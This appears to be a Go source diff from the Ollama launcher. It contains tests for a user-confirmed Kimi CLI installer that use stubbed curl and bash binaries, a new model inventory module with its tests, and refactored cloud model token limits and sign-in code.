t.Fatalf("config arg is not valid JSON: %v", err)
|
||||
}
|
||||
providers := cfg["providers"].(map[string]any)
|
||||
ollamaProvider := providers["ollama"].(map[string]any)
|
||||
if ollamaProvider["type"] != "openai_legacy" {
|
||||
t.Fatalf("provider type = %v, want openai_legacy", ollamaProvider["type"])
|
||||
}
|
||||
|
||||
if lines[2] != "--quiet" || lines[3] != "--print" {
|
||||
t.Fatalf("extra args = %v, want [--quiet --print]", lines[2:])
|
||||
}
|
||||
}
|
||||
|
||||
func TestEnsureKimiInstalled(t *testing.T) {
|
||||
oldGOOS := kimiGOOS
|
||||
t.Cleanup(func() { kimiGOOS = oldGOOS })
|
||||
|
||||
withConfirm := func(t *testing.T, fn func(prompt string) (bool, error)) {
|
||||
t.Helper()
|
||||
oldConfirm := DefaultConfirmPrompt
|
||||
DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
|
||||
return fn(prompt)
|
||||
}
|
||||
t.Cleanup(func() { DefaultConfirmPrompt = oldConfirm })
|
||||
}
|
||||
|
||||
t.Run("already installed", func(t *testing.T) {
|
||||
setTestHome(t, t.TempDir())
|
||||
tmpDir := t.TempDir()
|
||||
t.Setenv("PATH", tmpDir)
|
||||
writeFakeBinary(t, tmpDir, "kimi")
|
||||
kimiGOOS = runtime.GOOS
|
||||
|
||||
withConfirm(t, func(prompt string) (bool, error) {
|
||||
t.Fatalf("did not expect prompt, got %q", prompt)
|
||||
return false, nil
|
||||
})
|
||||
|
||||
bin, err := ensureKimiInstalled()
|
||||
if err != nil {
|
||||
t.Fatalf("ensureKimiInstalled() error = %v", err)
|
||||
}
|
||||
assertKimiBinPath(t, bin)
|
||||
})
|
||||
|
||||
t.Run("missing dependencies", func(t *testing.T) {
|
||||
setTestHome(t, t.TempDir())
|
||||
tmpDir := t.TempDir()
|
||||
t.Setenv("PATH", tmpDir)
|
||||
kimiGOOS = "linux"
|
||||
|
||||
withConfirm(t, func(prompt string) (bool, error) {
|
||||
t.Fatalf("did not expect prompt, got %q", prompt)
|
||||
return false, nil
|
||||
})
|
||||
|
||||
_, err := ensureKimiInstalled()
|
||||
if err == nil || !strings.Contains(err.Error(), "required dependencies are missing") {
|
||||
t.Fatalf("expected missing dependency error, got %v", err)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("missing and user declines install", func(t *testing.T) {
|
||||
setTestHome(t, t.TempDir())
|
||||
tmpDir := t.TempDir()
|
||||
t.Setenv("PATH", tmpDir)
|
||||
writeFakeBinary(t, tmpDir, "curl")
|
||||
writeFakeBinary(t, tmpDir, "bash")
|
||||
kimiGOOS = "linux"
|
||||
|
||||
withConfirm(t, func(prompt string) (bool, error) {
|
||||
if !strings.Contains(prompt, "Kimi is not installed.") {
|
||||
t.Fatalf("unexpected prompt: %q", prompt)
|
||||
}
|
||||
return false, nil
|
||||
})
|
||||
|
||||
_, err := ensureKimiInstalled()
|
||||
if err == nil || !strings.Contains(err.Error(), "installation cancelled") {
|
||||
t.Fatalf("expected cancellation error, got %v", err)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("missing and user confirms install succeeds", func(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("uses POSIX shell fake binaries")
|
||||
}
|
||||
|
||||
setTestHome(t, t.TempDir())
|
||||
tmpDir := t.TempDir()
|
||||
t.Setenv("PATH", tmpDir)
|
||||
kimiGOOS = "linux"
|
||||
|
||||
writeFakeBinary(t, tmpDir, "curl")
|
||||
|
||||
installLog := filepath.Join(tmpDir, "bash.log")
|
||||
kimiPath := filepath.Join(tmpDir, "kimi")
|
||||
bashScript := fmt.Sprintf(`#!/bin/sh
|
||||
echo "$@" >> %q
|
||||
if [ "$1" = "-c" ]; then
|
||||
/bin/cat > %q <<'EOS'
|
||||
#!/bin/sh
|
||||
exit 0
|
||||
EOS
|
||||
/bin/chmod +x %q
|
||||
fi
|
||||
exit 0
|
||||
`, installLog, kimiPath, kimiPath)
|
||||
if err := os.WriteFile(filepath.Join(tmpDir, "bash"), []byte(bashScript), 0o755); err != nil {
|
||||
t.Fatalf("failed to write fake bash: %v", err)
|
||||
}
|
||||
|
||||
withConfirm(t, func(prompt string) (bool, error) {
|
||||
return true, nil
|
||||
})
|
||||
|
||||
bin, err := ensureKimiInstalled()
|
||||
if err != nil {
|
||||
t.Fatalf("ensureKimiInstalled() error = %v", err)
|
||||
}
|
||||
assertKimiBinPath(t, bin)
|
||||
|
||||
logData, err := os.ReadFile(installLog)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to read install log: %v", err)
|
||||
}
|
||||
if !strings.Contains(string(logData), "https://code.kimi.com/install.sh") {
|
||||
t.Fatalf("expected install.sh command in log, got:\n%s", string(logData))
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("install succeeds and kimi is in home local bin without PATH update", func(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("uses POSIX shell fake binaries")
|
||||
}
|
||||
|
||||
homeDir := t.TempDir()
|
||||
setTestHome(t, homeDir)
|
||||
|
||||
tmpBin := t.TempDir()
|
||||
t.Setenv("PATH", tmpBin)
|
||||
kimiGOOS = "linux"
|
||||
writeFakeBinary(t, tmpBin, "curl")
|
||||
|
||||
installedKimi := filepath.Join(homeDir, ".local", "bin", "kimi")
|
||||
bashScript := fmt.Sprintf(`#!/bin/sh
|
||||
if [ "$1" = "-c" ]; then
|
||||
/bin/mkdir -p %q
|
||||
/bin/cat > %q <<'EOS'
|
||||
#!/bin/sh
|
||||
exit 0
|
||||
EOS
|
||||
/bin/chmod +x %q
|
||||
fi
|
||||
exit 0
|
||||
`, filepath.Dir(installedKimi), installedKimi, installedKimi)
|
||||
if err := os.WriteFile(filepath.Join(tmpBin, "bash"), []byte(bashScript), 0o755); err != nil {
|
||||
t.Fatalf("failed to write fake bash: %v", err)
|
||||
}
|
||||
|
||||
withConfirm(t, func(prompt string) (bool, error) {
|
||||
return true, nil
|
||||
})
|
||||
|
||||
bin, err := ensureKimiInstalled()
|
||||
if err != nil {
|
||||
t.Fatalf("ensureKimiInstalled() error = %v", err)
|
||||
}
|
||||
if bin != installedKimi {
|
||||
t.Fatalf("bin = %q, want %q", bin, installedKimi)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("install command fails", func(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("uses POSIX shell fake binaries")
|
||||
}
|
||||
|
||||
setTestHome(t, t.TempDir())
|
||||
tmpDir := t.TempDir()
|
||||
t.Setenv("PATH", tmpDir)
|
||||
kimiGOOS = "linux"
|
||||
writeFakeBinary(t, tmpDir, "curl")
|
||||
if err := os.WriteFile(filepath.Join(tmpDir, "bash"), []byte("#!/bin/sh\nexit 1\n"), 0o755); err != nil {
|
||||
t.Fatalf("failed to write fake bash: %v", err)
|
||||
}
|
||||
|
||||
withConfirm(t, func(prompt string) (bool, error) {
|
||||
return true, nil
|
||||
})
|
||||
|
||||
_, err := ensureKimiInstalled()
|
||||
if err == nil || !strings.Contains(err.Error(), "failed to install kimi") {
|
||||
t.Fatalf("expected install failure error, got %v", err)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("install succeeds but binary missing on PATH", func(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("uses POSIX shell fake binaries")
|
||||
}
|
||||
|
||||
setTestHome(t, t.TempDir())
|
||||
tmpDir := t.TempDir()
|
||||
t.Setenv("PATH", tmpDir)
|
||||
kimiGOOS = "linux"
|
||||
writeFakeBinary(t, tmpDir, "curl")
|
||||
if err := os.WriteFile(filepath.Join(tmpDir, "bash"), []byte("#!/bin/sh\nexit 0\n"), 0o755); err != nil {
|
||||
t.Fatalf("failed to write fake bash: %v", err)
|
||||
}
|
||||
|
||||
withConfirm(t, func(prompt string) (bool, error) {
|
||||
return true, nil
|
||||
})
|
||||
|
||||
_, err := ensureKimiInstalled()
|
||||
if err == nil || !strings.Contains(err.Error(), "binary was not found on PATH") {
|
||||
t.Fatalf("expected PATH guidance error, got %v", err)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestKimiInstallerCommand(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
goos string
|
||||
wantBin string
|
||||
wantParts []string
|
||||
wantErr bool
|
||||
}{
|
||||
{
|
||||
name: "linux",
|
||||
goos: "linux",
|
||||
wantBin: "bash",
|
||||
wantParts: []string{"-c", "install.sh"},
|
||||
},
|
||||
{
|
||||
name: "darwin",
|
||||
goos: "darwin",
|
||||
wantBin: "bash",
|
||||
wantParts: []string{"-c", "install.sh"},
|
||||
},
|
||||
{
|
||||
name: "windows",
|
||||
goos: "windows",
|
||||
wantBin: "powershell",
|
||||
wantParts: []string{"-Command", "install.ps1"},
|
||||
},
|
||||
{
|
||||
name: "unsupported",
|
||||
goos: "freebsd",
|
||||
wantErr: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
bin, args, err := kimiInstallerCommand(tt.goos)
|
||||
if tt.wantErr {
|
||||
if err == nil {
|
||||
t.Fatal("expected error")
|
||||
}
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
t.Fatalf("kimiInstallerCommand() error = %v", err)
|
||||
}
|
||||
if bin != tt.wantBin {
|
||||
t.Fatalf("bin = %q, want %q", bin, tt.wantBin)
|
||||
}
|
||||
joined := strings.Join(args, " ")
|
||||
for _, part := range tt.wantParts {
|
||||
if !strings.Contains(joined, part) {
|
||||
t.Fatalf("args %q missing %q", joined, part)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
+585
-114
File diff suppressed because it is too large.
Load diff
+1367
-89
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,201 @@
|
||||
package launch
|
||||
|
||||
import (
|
||||
"context"
|
||||
"slices"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
modelpkg "github.com/ollama/ollama/types/model"
|
||||
)
|
||||
|
||||
// LaunchModel is the model metadata Launch passes to integration config
|
||||
// writers after resolving selected model names through the per-run inventory.
|
||||
type LaunchModel struct {
|
||||
Name string
|
||||
Remote bool
|
||||
ToolCapable bool
|
||||
Capabilities []modelpkg.Capability
|
||||
ContextLength int
|
||||
MaxOutputTokens int
|
||||
EmbeddingLength int
|
||||
Size int64
|
||||
Details api.ModelDetails
|
||||
}
|
||||
|
||||
type modelInfo = LaunchModel
|
||||
|
||||
// ModelInfo re-exports launcher model inventory details for callers.
|
||||
type ModelInfo = LaunchModel
|
||||
|
||||
func (m LaunchModel) HasCapability(capability modelpkg.Capability) bool {
|
||||
return slices.Contains(m.Capabilities, capability)
|
||||
}
|
||||
|
||||
func (m LaunchModel) WithCloudLimits() LaunchModel {
|
||||
if limit, ok := lookupCloudModelLimit(m.Name); ok {
|
||||
if m.ContextLength <= 0 {
|
||||
m.ContextLength = limit.Context
|
||||
}
|
||||
if m.MaxOutputTokens <= 0 {
|
||||
m.MaxOutputTokens = limit.Output
|
||||
}
|
||||
}
|
||||
return m
|
||||
}
|
||||
|
||||
type modelInventory struct {
|
||||
client *api.Client
|
||||
|
||||
mu sync.Mutex
|
||||
loaded bool
|
||||
models []LaunchModel
|
||||
err error
|
||||
}
|
||||
|
||||
func newModelInventory(client *api.Client) *modelInventory {
|
||||
return &modelInventory{client: client}
|
||||
}
|
||||
|
||||
func (i *modelInventory) Load(ctx context.Context) ([]LaunchModel, error) {
|
||||
return i.load(ctx, false)
|
||||
}
|
||||
|
||||
func (i *modelInventory) Refresh(ctx context.Context) ([]LaunchModel, error) {
|
||||
return i.load(ctx, true)
|
||||
}
|
||||
|
||||
func (i *modelInventory) load(ctx context.Context, force bool) ([]LaunchModel, error) {
|
||||
if i == nil || i.client == nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
i.mu.Lock()
|
||||
defer i.mu.Unlock()
|
||||
|
||||
if i.loaded && !force {
|
||||
return cloneLaunchModels(i.models), i.err
|
||||
}
|
||||
|
||||
resp, err := i.client.List(ctx)
|
||||
if err != nil {
|
||||
i.models = nil
|
||||
i.err = err
|
||||
i.loaded = true
|
||||
return nil, err
|
||||
}
|
||||
|
||||
i.models = make([]LaunchModel, 0, len(resp.Models))
|
||||
for _, model := range resp.Models {
|
||||
i.models = append(i.models, launchModelFromListResponse(model))
|
||||
}
|
||||
i.err = nil
|
||||
i.loaded = true
|
||||
|
||||
return cloneLaunchModels(i.models), i.err
|
||||
}
|
||||
|
||||
func (i *modelInventory) Resolve(ctx context.Context, names []string) []LaunchModel {
|
||||
names = dedupeModelList(names)
|
||||
if len(names) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
models, err := i.Load(ctx)
|
||||
if err != nil {
|
||||
models = nil
|
||||
}
|
||||
|
||||
resolved, localMiss := resolveLaunchModels(names, models)
|
||||
if localMiss {
|
||||
if refreshed, err := i.Refresh(ctx); err == nil {
|
||||
resolved, _ = resolveLaunchModels(names, refreshed)
|
||||
}
|
||||
}
|
||||
return resolved
|
||||
}
|
||||
|
||||
func resolveLaunchModels(names []string, models []LaunchModel) ([]LaunchModel, bool) {
|
||||
resolved := make([]LaunchModel, 0, len(names))
|
||||
localMiss := false
|
||||
for _, name := range names {
|
||||
if model, ok := findLaunchModel(models, name); ok {
|
||||
resolved = append(resolved, model.WithCloudLimits())
|
||||
continue
|
||||
}
|
||||
if !isCloudModelName(name) {
|
||||
localMiss = true
|
||||
}
|
||||
resolved = append(resolved, fallbackLaunchModel(name))
|
||||
}
|
||||
return resolved, localMiss
|
||||
}
|
||||
|
||||
func launchModelFromListResponse(model api.ListModelResponse) LaunchModel {
|
||||
return LaunchModel{
|
||||
Name: model.Name,
|
||||
Remote: model.RemoteModel != "",
|
||||
ToolCapable: slices.Contains(model.Capabilities, modelpkg.CapabilityTools),
|
||||
Capabilities: append([]modelpkg.Capability(nil), model.Capabilities...),
|
||||
ContextLength: model.Details.ContextLength,
|
||||
EmbeddingLength: model.Details.EmbeddingLength,
|
||||
Size: model.Size,
|
||||
Details: model.Details,
|
||||
}.WithCloudLimits()
|
||||
}
|
||||
|
||||
func fallbackLaunchModel(name string) LaunchModel {
|
||||
return LaunchModel{Name: name, Remote: isCloudModelName(name)}.WithCloudLimits()
|
||||
}
|
||||
|
||||
func findLaunchModel(models []LaunchModel, name string) (LaunchModel, bool) {
|
||||
for _, model := range models {
|
||||
if launchModelMatches(model.Name, name) {
|
||||
return cloneLaunchModel(model), true
|
||||
}
|
||||
}
|
||||
return LaunchModel{}, false
|
||||
}
|
||||
|
||||
func launchModelMatches(candidate, name string) bool {
|
||||
if candidate == name {
|
||||
return true
|
||||
}
|
||||
return strings.TrimSuffix(candidate, ":latest") == name
|
||||
}
|
||||
|
||||
func cloneLaunchModel(model LaunchModel) LaunchModel {
|
||||
model.Capabilities = append([]modelpkg.Capability(nil), model.Capabilities...)
|
||||
model.Details.Families = append([]string(nil), model.Details.Families...)
|
||||
return model
|
||||
}
|
||||
|
||||
func cloneLaunchModels(models []LaunchModel) []LaunchModel {
|
||||
cloned := make([]LaunchModel, len(models))
|
||||
for i, model := range models {
|
||||
cloned[i] = cloneLaunchModel(model)
|
||||
}
|
||||
return cloned
|
||||
}
|
||||
|
||||
func launchModelNames(models []LaunchModel) []string {
|
||||
names := make([]string, 0, len(models))
|
||||
for _, model := range models {
|
||||
if model.Name != "" {
|
||||
names = append(names, model.Name)
|
||||
}
|
||||
}
|
||||
return names
|
||||
}
|
||||
|
||||
func launchModelsFromNames(names []string) []LaunchModel {
|
||||
models := make([]LaunchModel, 0, len(names))
|
||||
for _, name := range names {
|
||||
if name == "" {
|
||||
continue
|
||||
}
|
||||
models = append(models, fallbackLaunchModel(name))
|
||||
}
|
||||
return models
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
package launch
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
"testing"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
modelpkg "github.com/ollama/ollama/types/model"
|
||||
)
|
||||
|
||||
func TestModelInventoryResolveRefreshesLocalMiss(t *testing.T) {
|
||||
calls := 0
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path != "/api/tags" {
|
||||
http.NotFound(w, r)
|
||||
return
|
||||
}
|
||||
calls++
|
||||
if calls == 1 {
|
||||
fmt.Fprint(w, `{"models":[]}`)
|
||||
return
|
||||
}
|
||||
fmt.Fprint(w, `{"models":[{"name":"new-model","size":123,"details":{"context_length":65536,"embedding_length":1024},"capabilities":["vision","tools"]}]}`)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
u, _ := url.Parse(srv.URL)
|
||||
inventory := newModelInventory(api.NewClient(u, srv.Client()))
|
||||
|
||||
got := inventory.Resolve(context.Background(), []string{"new-model"})
|
||||
if calls != 2 {
|
||||
t.Fatalf("List calls = %d, want 2", calls)
|
||||
}
|
||||
if len(got) != 1 {
|
||||
t.Fatalf("Resolve returned %d models, want 1", len(got))
|
||||
}
|
||||
if got[0].Name != "new-model" {
|
||||
t.Fatalf("Name = %q, want new-model", got[0].Name)
|
||||
}
|
||||
if got[0].ContextLength != 65_536 || got[0].EmbeddingLength != 1_024 {
|
||||
t.Fatalf("metadata = context %d embedding %d, want refreshed metadata", got[0].ContextLength, got[0].EmbeddingLength)
|
||||
}
|
||||
if !got[0].HasCapability(modelpkg.CapabilityVision) || !got[0].ToolCapable {
|
||||
t.Fatalf("capabilities = %v toolCapable=%v, want refreshed capabilities", got[0].Capabilities, got[0].ToolCapable)
|
||||
}
|
||||
}
|
||||
|
||||
func TestModelInventoryResolveDoesNotRefreshCloudMiss(t *testing.T) {
|
||||
calls := 0
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path != "/api/tags" {
|
||||
http.NotFound(w, r)
|
||||
return
|
||||
}
|
||||
calls++
|
||||
fmt.Fprint(w, `{"models":[]}`)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
u, _ := url.Parse(srv.URL)
|
||||
inventory := newModelInventory(api.NewClient(u, srv.Client()))
|
||||
|
||||
got := inventory.Resolve(context.Background(), []string{"glm-5.1:cloud"})
|
||||
if calls != 1 {
|
||||
t.Fatalf("List calls = %d, want 1", calls)
|
||||
}
|
||||
if len(got) != 1 {
|
||||
t.Fatalf("Resolve returned %d models, want 1", len(got))
|
||||
}
|
||||
if got[0].Name != "glm-5.1:cloud" || !got[0].Remote {
|
||||
t.Fatalf("resolved model = %#v, want cloud fallback", got[0])
|
||||
}
|
||||
if got[0].ContextLength <= 0 || got[0].MaxOutputTokens <= 0 {
|
||||
t.Fatalf("cloud limits not applied: %#v", got[0])
|
||||
}
|
||||
}
|
||||
+141
-72
@@ -4,34 +4,42 @@ import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"math"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"slices"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
"github.com/ollama/ollama/cmd/config"
|
||||
"github.com/ollama/ollama/cmd/internal/fileutil"
|
||||
"github.com/ollama/ollama/format"
|
||||
internalcloud "github.com/ollama/ollama/internal/cloud"
|
||||
"github.com/ollama/ollama/internal/modelref"
|
||||
"github.com/ollama/ollama/progress"
|
||||
)
|
||||
|
||||
var recommendedModels = []ModelItem{
|
||||
{Name: "kimi-k2.5:cloud", Description: "Multimodal reasoning with subagents", Recommended: true},
|
||||
{Name: "qwen3.5:cloud", Description: "Reasoning, coding, and agentic tool use with vision", Recommended: true},
|
||||
{Name: "glm-5.1:cloud", Description: "Reasoning and code generation", Recommended: true},
|
||||
{Name: "minimax-m2.7:cloud", Description: "Fast, efficient coding and real-world productivity", Recommended: true},
|
||||
{Name: "gemma4", Description: "Reasoning and code generation locally", Recommended: true},
|
||||
{Name: "qwen3.5", Description: "Reasoning, coding, and visual understanding locally", Recommended: true},
|
||||
{Name: "kimi-k2.6:cloud", Description: "State-of-the-art coding, long-horizon execution, and multimodal agent swarm capability", Recommended: true, Details: api.ModelDetails{ContextLength: 262_144}, MaxOutputTokens: 262_144},
|
||||
{Name: "qwen3.5:cloud", Description: "Reasoning, coding, and agentic tool use with vision", Recommended: true, Details: api.ModelDetails{ContextLength: 262_144}, MaxOutputTokens: 32_768},
|
||||
{Name: "glm-5.1:cloud", Description: "Reasoning and code generation", Recommended: true, Details: api.ModelDetails{ContextLength: 202_752}, MaxOutputTokens: 131_072},
|
||||
{Name: "minimax-m2.7:cloud", Description: "Fast, efficient coding and real-world productivity", Recommended: true, Details: api.ModelDetails{ContextLength: 204_800}, MaxOutputTokens: 128_000},
|
||||
{Name: "gemma4", Description: "Reasoning and code generation locally", Recommended: true, VRAMBytes: 12 * format.GigaByte},
|
||||
{Name: "qwen3.5", Description: "Reasoning, coding, and visual understanding locally", Recommended: true, VRAMBytes: 14 * format.GigaByte},
|
||||
}
|
||||
|
||||
var recommendedVRAM = map[string]string{
|
||||
"gemma4": "~16GB",
|
||||
"qwen3.5": "~11GB",
|
||||
func displayVRAM(vramBytes int64) string {
|
||||
if vramBytes <= 0 {
|
||||
return ""
|
||||
}
|
||||
gb := float64(vramBytes) / format.GigaByte
|
||||
if gb == math.Trunc(gb) {
|
||||
return fmt.Sprintf("~%.0fGB", gb)
|
||||
}
|
||||
return fmt.Sprintf("~%.1fGB", gb)
|
||||
}
|
||||
|
||||
// cloudModelLimit holds context and output token limits for a cloud model.
|
||||
@@ -40,10 +48,10 @@ type cloudModelLimit struct {
|
||||
Output int
|
||||
}
|
||||
|
||||
// cloudModelLimits maps cloud model base names to their token limits.
|
||||
// extraCloudModelLimits maps cloud model base names to token limits for models
|
||||
// that are not already covered by recommendedModels fallback entries.
|
||||
// TODO(parthsareen): grab context/output limits from model info instead of hardcoding
|
||||
var cloudModelLimits = map[string]cloudModelLimit{
|
||||
"minimax-m2.7": {Context: 204_800, Output: 128_000},
|
||||
var extraCloudModelLimits = map[string]cloudModelLimit{
|
||||
"cogito-2.1:671b": {Context: 163_840, Output: 65_536},
|
||||
"deepseek-v3.1:671b": {Context: 163_840, Output: 163_840},
|
||||
"deepseek-v3.2": {Context: 163_840, Output: 65_536},
|
||||
@@ -56,6 +64,7 @@ var cloudModelLimits = map[string]cloudModelLimit{
|
||||
"gpt-oss:20b": {Context: 131_072, Output: 131_072},
|
||||
"kimi-k2:1t": {Context: 262_144, Output: 262_144},
|
||||
"kimi-k2.5": {Context: 262_144, Output: 262_144},
|
||||
"kimi-k2.6": {Context: 262_144, Output: 262_144},
|
||||
"kimi-k2-thinking": {Context: 262_144, Output: 262_144},
|
||||
"nemotron-3-nano:30b": {Context: 1_048_576, Output: 131_072},
|
||||
"qwen3-coder:480b": {Context: 262_144, Output: 65_536},
|
||||
@@ -64,11 +73,24 @@ var cloudModelLimits = map[string]cloudModelLimit{
|
||||
"qwen3.5": {Context: 262_144, Output: 32_768},
|
||||
}
|
||||
|
||||
var cloudModelLimits = mergeCloudModelLimits(cloudModelLimitsFromRecommendations(recommendedModels), extraCloudModelLimits)
|
||||
|
||||
var (
|
||||
dynamicCloudModelLimitsMu sync.RWMutex
|
||||
dynamicCloudModelLimits = map[string]cloudModelLimit{}
|
||||
)
|
||||
|
||||
// lookupCloudModelLimit returns the token limits for a cloud model.
|
||||
// It normalizes explicit cloud source suffixes before checking the shared limit map.
|
||||
func lookupCloudModelLimit(name string) (cloudModelLimit, bool) {
|
||||
base, stripped := modelref.StripCloudSourceTag(name)
|
||||
if stripped {
|
||||
dynamicCloudModelLimitsMu.RLock()
|
||||
l, ok := dynamicCloudModelLimits[base]
|
||||
dynamicCloudModelLimitsMu.RUnlock()
|
||||
if ok {
|
||||
return l, true
|
||||
}
|
||||
if l, ok := cloudModelLimits[base]; ok {
|
||||
return l, true
|
||||
}
|
||||
@@ -76,6 +98,49 @@ func lookupCloudModelLimit(name string) (cloudModelLimit, bool) {
|
||||
return cloudModelLimit{}, false
|
||||
}
|
||||
|
||||
func setDynamicCloudModelLimits(limits map[string]cloudModelLimit) {
|
||||
dynamicCloudModelLimitsMu.Lock()
|
||||
defer dynamicCloudModelLimitsMu.Unlock()
|
||||
if limits == nil {
|
||||
dynamicCloudModelLimits = map[string]cloudModelLimit{}
|
||||
return
|
||||
}
|
||||
cp := make(map[string]cloudModelLimit, len(limits))
|
||||
for k, v := range limits {
|
||||
cp[k] = v
|
||||
}
|
||||
dynamicCloudModelLimits = cp
|
||||
}
|
||||
|
||||
func cloudModelLimitsFromRecommendations(recommendations []ModelItem) map[string]cloudModelLimit {
|
||||
limits := make(map[string]cloudModelLimit, len(recommendations))
|
||||
for _, rec := range recommendations {
|
||||
if !isCloudModelName(rec.Name) || rec.Details.ContextLength <= 0 || rec.MaxOutputTokens <= 0 {
|
||||
continue
|
||||
}
|
||||
base, stripped := modelref.StripCloudSourceTag(rec.Name)
|
||||
if !stripped || base == "" {
|
||||
continue
|
||||
}
|
||||
limits[base] = cloudModelLimit{
|
||||
Context: rec.Details.ContextLength,
|
||||
Output: rec.MaxOutputTokens,
|
||||
}
|
||||
}
|
||||
return limits
|
||||
}
|
||||
|
||||
func mergeCloudModelLimits(base map[string]cloudModelLimit, overlay map[string]cloudModelLimit) map[string]cloudModelLimit {
|
||||
out := make(map[string]cloudModelLimit, len(base)+len(overlay))
|
||||
for name, limit := range base {
|
||||
out[name] = limit
|
||||
}
|
||||
for name, limit := range overlay {
|
||||
out[name] = limit
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// missingModelPolicy controls how model-not-found errors should be handled.
|
||||
type missingModelPolicy int
|
||||
|
||||
@@ -115,22 +180,27 @@ func ensureAuth(ctx context.Context, client *api.Client, cloudModels map[string]
|
||||
if len(selectedCloudModels) == 0 {
|
||||
return nil
|
||||
}
|
||||
return ensureCloudAuth(ctx, client, strings.Join(selectedCloudModels, ", "))
|
||||
}
|
||||
|
||||
func ensureCloudAuth(ctx context.Context, client *api.Client, modelList string) error {
|
||||
if disabled, known := cloudStatusDisabled(ctx, client); known && disabled {
|
||||
return errors.New(internalcloud.DisabledError("remote inference is unavailable"))
|
||||
}
|
||||
|
||||
user, err := client.Whoami(ctx)
|
||||
user, err := whoamiWithTimeout(ctx, client)
|
||||
if err == nil && user != nil && user.Name != "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
var aErr api.AuthorizationError
|
||||
if !errors.As(err, &aErr) || aErr.SigninURL == "" {
|
||||
return err
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return fmt.Errorf("%s requires sign in", modelList)
|
||||
}
|
||||
|
||||
modelList := strings.Join(selectedCloudModels, ", ")
|
||||
|
||||
if DefaultSignIn != nil {
|
||||
_, err := DefaultSignIn(modelList, aErr.SigninURL)
|
||||
if errors.Is(err, ErrCancelled) {
|
||||
@@ -173,7 +243,7 @@ func ensureAuth(ctx context.Context, client *api.Client, cloudModels map[string]
|
||||
fmt.Fprintf(os.Stderr, "\r\033[90mwaiting for sign in to complete... %s\033[0m", spinnerFrames[frame%len(spinnerFrames)])
|
||||
|
||||
if frame%10 == 0 {
|
||||
u, err := client.Whoami(ctx)
|
||||
u, err := whoamiWithTimeout(ctx, client)
|
||||
if err == nil && u != nil && u.Name != "" {
|
||||
fmt.Fprintf(os.Stderr, "\r\033[K\033[A\r\033[K\033[1msigned in:\033[0m %s\n", u.Name)
|
||||
return nil
|
||||
@@ -229,28 +299,24 @@ func pullMissingModel(ctx context.Context, client *api.Client, model string) err
|
||||
}
|
||||
|
||||
// prepareEditorIntegration persists models and applies editor-managed config files.
|
||||
func prepareEditorIntegration(name string, runner Runner, editor Editor, models []string) error {
|
||||
if ok, err := confirmConfigEdit(runner, editor.Paths()); err != nil {
|
||||
return err
|
||||
} else if !ok {
|
||||
return errCancelled
|
||||
}
|
||||
func prepareEditorIntegration(name string, editor Editor, models []LaunchModel) error {
|
||||
if err := editor.Edit(models); err != nil {
|
||||
return fmt.Errorf("setup failed: %w", err)
|
||||
}
|
||||
if err := config.SaveIntegration(name, models); err != nil {
|
||||
if err := config.SaveIntegration(name, launchModelNames(models)); err != nil {
|
||||
return fmt.Errorf("failed to save: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func prepareManagedSingleIntegration(name string, runner Runner, managed ManagedSingleModel, model string) error {
|
||||
if ok, err := confirmConfigEdit(runner, managed.Paths()); err != nil {
|
||||
return err
|
||||
} else if !ok {
|
||||
return errCancelled
|
||||
func prepareManagedSingleIntegration(name string, managed ManagedSingleModel, model string, models []LaunchModel) error {
|
||||
var err error
|
||||
if withModels, ok := managed.(ManagedModelListConfigurer); ok {
|
||||
err = withModels.ConfigureWithModels(model, models)
|
||||
} else {
|
||||
err = managed.Configure(model)
|
||||
}
|
||||
if err := managed.Configure(model); err != nil {
|
||||
if err != nil {
|
||||
return fmt.Errorf("setup failed: %w", err)
|
||||
}
|
||||
if err := config.SaveIntegration(name, []string{model}); err != nil {
|
||||
@@ -259,31 +325,33 @@ func prepareManagedSingleIntegration(name string, runner Runner, managed Managed
|
||||
return nil
|
||||
}
|
||||
|
||||
func confirmConfigEdit(runner Runner, paths []string) (bool, error) {
|
||||
if len(paths) == 0 {
|
||||
return true, nil
|
||||
func prepareManagedAutodiscoveryIntegration(name string, autodiscovery ManagedAutodiscoveryIntegration, model string) error {
|
||||
if err := autodiscovery.ConfigureAutodiscovery(); err != nil {
|
||||
